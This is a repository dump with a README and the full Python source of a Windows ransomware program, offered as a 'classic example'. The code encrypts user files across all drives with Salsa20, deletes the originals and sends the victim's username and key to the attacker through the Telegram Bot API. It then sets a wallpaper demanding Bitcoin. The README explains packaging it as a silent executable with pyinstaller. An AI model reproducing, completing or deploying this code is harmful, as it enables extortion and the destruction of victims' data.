8 | ____ ____ _ _ ____ ____ _ _ _ _ _ ____ ____ ____ ___ _ _ 9 | |__/ |__| |\ | [__ | | |\/| | | | |__| |__/ |___ |__] \_/ 10 | | \ | | | \| ___] |__| | | |_|_| | | | \ |___ .| | 11 |12 | 13 | 14 | About: This is a Classic Example Of RansomWare Written in python.
15 | Tested On: Windows 10 / Windows7
16 | Suport : +Windows7
17 | Date of Publish : 10/31/2019
18 | Last Update : 11/3/2019
19 | Went Find out about what is Ransomware
20 | 21 |
When Find out about what is Ransomware ? -> Click Hare <-
22 | 23 | 24 | 25 | To Convet the .py to exe You can use pyinstaller.
26 | To install pyinstaller:
https://www.pyinstaller.org27 | To Convet .py File to exe :
pyinstaller --onefile -w --icon YourIcon.ico Ransomware.py 28 | Before Converting File to exe Run :
pip install --user --requirement requirements.txt
29 | # To Decrypt Files :
30 | Run DeRansomware.py On line 29 From :
31 | 
32 | To Your Key (example):
33 |
34 | Key = b"\xbd\xb6\x80'4z\x9c\xb53{\xe3\xd7\xf4\xc2\\\x08\xbd\xbb\xdb\xd6\xb2.\xfa\xe1o\x1f\xcd\x80AM\xd5>"
35 |
36 | OR :
37 |
38 | Key = b'T\xb5\xc4\x14\xe4\xa7\x18\x0b8T\xdb\xec\xf0.v>t\xce\x91w5y1\xce\xa3\x1a;J
39 |
40 | Replace Key Betwen " " or ' ' with your own key
41 | 42 | # Change Log 43 | 44 | (11/3/2019) Change_log:
45 |
48 | is faster and stronger it is using Salsa20 stream cipher 49 | algorithm, and if your using old version I recommend you 50 | to switch from it because This version use More secure encryption
51 | ~ More updates or in the way :)
52 | 53 | 54 | # 55 |
57 | IM NOT RESBONBLE FOR ANY BAD & MALICIOUS USE OF IT. 58 | -------------------------------------------------------------------------------- /Ransomware.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import threading, ctypes, pathlib, nacl, tkinter 4 | import cryptography, os, requests, sys, nacl.secret 5 | from PIL import Image, ImageDraw, ImageFont 6 | from win32api import GetSystemMetrics 7 | from tkinter import messagebox 8 | from time import sleep 9 | 10 | class D_E_ncrypt(object): # Encrypter Class (Our main Class ) 11 | 12 | def __init__(self, Target=0, BoxM=0, Url=0): 13 | 14 | self.Target = Target # File Path 15 | self.BoxM = BoxM # Our Box Moudle 16 | self.Url = Url # Our Api Url in my case Telegram 17 | 18 | def FileE(loc): # We Pass File Name And Path In Hare In Order To Encrypt Them 19 | print(f"FILE -> {loc.Target}") 20 | try: # Run Try/Except So We Dont Run in to Error 21 | if (os.path.isdir(loc.Target) != True) : # Cheak If Its File not Directory 22 | 23 | with open(loc.Target, "rb") as File: # Opeing File 24 | Date = File.read() # Reading File & Saving it In tmp Var 25 | 26 | FileName = loc.Target # File name 27 | Encrypted = loc.BoxM.encrypt(Date) # Encrypting tmp Var 28 | 29 | if(loc.Target != sys.argv[0]): # If Target File is not Our own script Do this 30 | with open(f"{FileName}.lol","wb") as File: # Opeing File To write File 31 | print(f"FILE -> {FileName}") # Printing File name for batter Debug 32 | File.write(Encrypted) # Writeing The File 33 | os.remove(loc.Target) # Removing OG File 34 | except Exception as e:print(f"Error -> {e}") 35 | def SendKey(Key): # We Pass Decrypt Key and Api url To Make Get request 36 | requests.get(Key.Url) # We send request 37 | 38 | 39 | 40 | User = os.getlogin() # Getting Username 41 | Script = sys.argv[0] # Getting Our Script name 42 | MaxThread = 120 # Setting up Our max Number of Thread 43 | AdminRight = ctypes.windll.shell32.IsUserAnAdmin() # Cheaking for admin Perms 44 | 45 | Key = nacl.utils.random(nacl.secret.SecretBox.KEY_SIZE) # Making A key IN order to D/Encypt with it 46 | Box = nacl.secret.SecretBox(Key) # Our Safe box Moudle that we use to Decrypte 47 | 48 | Token = "Your Telegram Token So you can Get Decrypt The Files!" # Our Api Token 49 | NumID = "Your User ID so Bot just Send Key To You !" # Our User ID 50 | 51 | Message = (f"{User} -> {Key}") # Makeing Prefix for Massges 52 | 53 | PathList = [r"C:\Users\\"] # You can add more Paths hare if you went 54 | 55 | for Latter in range(97,123): (PathList.append(f"{chr(Latter)}:\\")) # Making list of A,Z in order to pass as Drive to our path list 56 | PathList.remove("c:\\") # Removing C Drive 57 | 58 | print(f"list -> {PathList}") # Remove This line this is just for Debuging 59 | print(f"We are -> {Script}") # Remove This line this is just for Debuging 60 | print(f"Key - > {Key}") # Remove This line this is just for Debuging 61 | 62 | def OneStart(): 63 | 64 | try: # Run Try/Except So We Dont Run in to Error 65 | 66 | HttpReq = D_E_ncrypt(Url=f"https://api.telegram.org/bot{Token}/sendMessage?chat_id={NumID}&text={Message}") 67 | threading.Thread(target=HttpReq.SendKey, args=()).start() # Making HttpReq Moudle And Runnig it In a Thread 68 | 69 | Img = Image.new('RGB', (GetSystemMetrics(0), GetSystemMetrics(1)), color = (0, 0, 0)) # Getting Window Heihgt & Weight To Make Background 70 | 71 | Canvas= ImageDraw.Draw(Img) # Drawing Image 72 | font = ImageFont.truetype("arial", int(GetSystemMetrics(1)/20)) # Getting Right Font Size 73 | Canvas.text( 74 | (10,10), (r""" 75 | Your data Is encrypted In order to Get your 76 | > date back Send me (YOUR PRICE USD) in BTC to this Wellt 77 | > and then email me for your key 78 | > YOUR WELLET 79 | > GoodLuck :) 80 | > ~ YOUR NAME """), 81 | fill=(255,0,0),font=font) # Write Text On Image 82 | 83 | Img.save('Bg.png') # Save Image as bg.png 84 | 85 | ctypes.windll.user32.SystemParametersInfoW(20, 0, f'{os.getcwd()}\\Bg.png' , 0) # Set New Background Up 86 | 87 | except:pass 88 | 89 | def CallErrorBox(): # Making Simple Error Box in Tk 90 | 91 | WINDOW = tkinter.Tk() # Making Tk Window 92 | WINDOW.withdraw() # Destroying Tk Window 93 | messagebox.showerror("Error", "Try To Re-Run As Administrator") 94 | 95 | if __name__ == '__main__': # Check IF Script IS Excuted By User. 96 | if(AdminRight): # Check IF Script Have Admin Access 97 | OneStart() # Run On start Def To Send HttpReq 98 | for AllFiles in PathList: 99 | try: # Run Try/Except So We Dont Run in to Error & background 100 | if (pathlib.Path(AllFiles).exists()): # Cheak if Path Exist 101 | 102 | for path, subdirs, files in os.walk(AllFiles): # For All Drives & Files 103 | 104 | if("$Recycle.Bin" in path):pass # Skip Junks 105 | elif("c:\\Windows" in path):pass # Skip c:\\Windows 106 | elif("\\AppData\\" in path):pass # Skip \AppData\ 107 | elif("System32" in path):pass # Skip System32 108 | 109 | else: # After That 110 | 111 | for name in files: # For Files in Folder 112 | 113 | FilePath = os.path.join(path, name) # Join File path to File Name 114 | FileSize = os.stat(FilePath).st_size # Get The File Size 115 | 116 | if(".dll" in name ):pass # Skip This File Format 117 | elif(".exe" in name ):pass # Skip This File Format 118 | elif(".msn" in name ):pass # Skip This File Format 119 | 120 | else : 121 | 122 | if (FileSize >= 50000000 ): # If File size is More then 50mb make Thread for this file 123 | while True: # Make While Ture 124 | if len(threading.enumerate()) < MaxThread: # IF your Worker List is Free 125 | 126 | EncrypterObj = D_E_ncrypt(FilePath, Box) # Pass in file name And key 127 | threading.Thread(target=EncrypterObj.FileE, args=()).start() # to Encypte. 128 | 129 | break # Break Out 130 | 131 | else: sleep(0.2) # Sleep for 0.2 Sec Until Spot Get Free 132 | else : 133 | print(FilePath) # Remove This line this is just for Debuging 134 | D_E_ncrypt(FilePath, Box).FileE() # Pass In File Name And key 135 | except Exception as e:print(f"Error -> {e}") # remove Print And Replace Ut With Pass 136 | else: 137 | CallErrorBox() # Call Error Box 138 | 139 | --------------------------------------------------------------------------------